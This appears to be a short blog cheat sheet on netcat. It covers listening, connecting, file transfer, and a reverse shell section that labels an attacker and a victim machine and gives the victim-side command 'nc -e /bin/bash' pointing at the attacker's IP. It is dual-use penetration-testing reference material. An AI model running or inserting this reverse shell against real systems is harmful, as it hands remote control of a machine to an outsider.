Home netcat
Post
Cancel

netcat

netcat

Netcat is a tool that reads and writes data across network connections, using TCP or UDP protocol. More information Link

Server Mode

Use netcat to listen for connections. What this does is open a port (either tcp or udp) on the system. By default netcat listens on tcp.

Basic Listener

1
$ nc -lvnp PORT

To listen on UDP must use -u.

Client Mode

Use netcat to connect to an open port on a system. This can be beneficial for manually checking service banners or just checking if the port is open.

Basic Connection

1
$ nc -vn @IP PORT

For a UDP connection we only add the -u option.

File Transfer

Transfer files over the connection from one system to another without distortion.

Listener

1
nc -lp PORT > /path/to/outfile 

Client

1
$ nc -w3 @Listener_IP PORT < /path/to/infile

Reverse Shell

Use netcat in server mode to listen for connections then supply the shell from the client. This will allow the session on the server to run commands on the client once the shell is received.

Server (Attacker Machine)

1
$ nc -lvnp 8080

Client (Victim Machine)

1
$ nc -e /bin/bash @Server_IP PORT
This post is licensed under CC BY 4.0 by the author.